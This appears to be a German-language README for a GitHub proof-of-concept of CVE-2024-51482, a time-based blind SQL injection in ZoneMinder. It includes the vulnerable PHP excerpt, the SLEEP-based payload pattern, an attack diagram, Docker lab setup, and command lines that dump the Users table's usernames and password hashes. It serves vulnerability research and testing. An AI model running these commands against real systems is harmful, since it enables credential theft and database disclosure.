
Zeitbasierte SQL-Injection PoC für CVE-2024-51482 in ZoneMinder, mit reproduzierbarem Docker-Labor und automatisierter Datenextraktion.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.
Dieses Repository enthält einen Proof-of-Concept für eine zeitbasierte SQL-Injection gegen ZoneMinder.
Das Tool ermöglicht:
Es enthält außerdem ein vollständig reproduzierbares Docker-Labor für sicheres Testen.
ZoneMinder ist eine kostenlose Open-Source-Software für Videoüberwachung. Die Schwachstelle entsteht durch unzureichende Eingabevalidierung im removetag-Endpunkt von ZoneMinder. Benutzereingaben werden direkt in SQL-Abfragen eingebunden, ohne ordnungsgemäße Bereinigung oder Parametrisierung, sodass Angreifer schädliche boolesche SQL-Payloads injizieren können. Der Exploit nutzt:
SLEEP(x - IF(condition, 0, x))
um Daten über die Antwortzeit zu ermitteln.
Vollständiger anfälliger Code-Auszug aus der GitHub Maintainer Advisory:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Umgebungsvariablen konfigurieren
docker compose up -d
Ohne Flags authentifiziert sich das Tool am Ziel, prüft die Schwachstelle und gibt bei Anfälligkeit die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus (dump-users-Befehl).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Überprüft nur, ob das Ziel anfällig ist.
python exploit.py -t http://target/zm -u <username> -p <password> check
Gibt die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus. Standardbefehl, wenn keiner angegeben ist.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Listet alle Datenbanken auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Listet Tabellen in einer angegebenen Datenbank auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Listet Spalten in einer angegebenen Tabelle auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>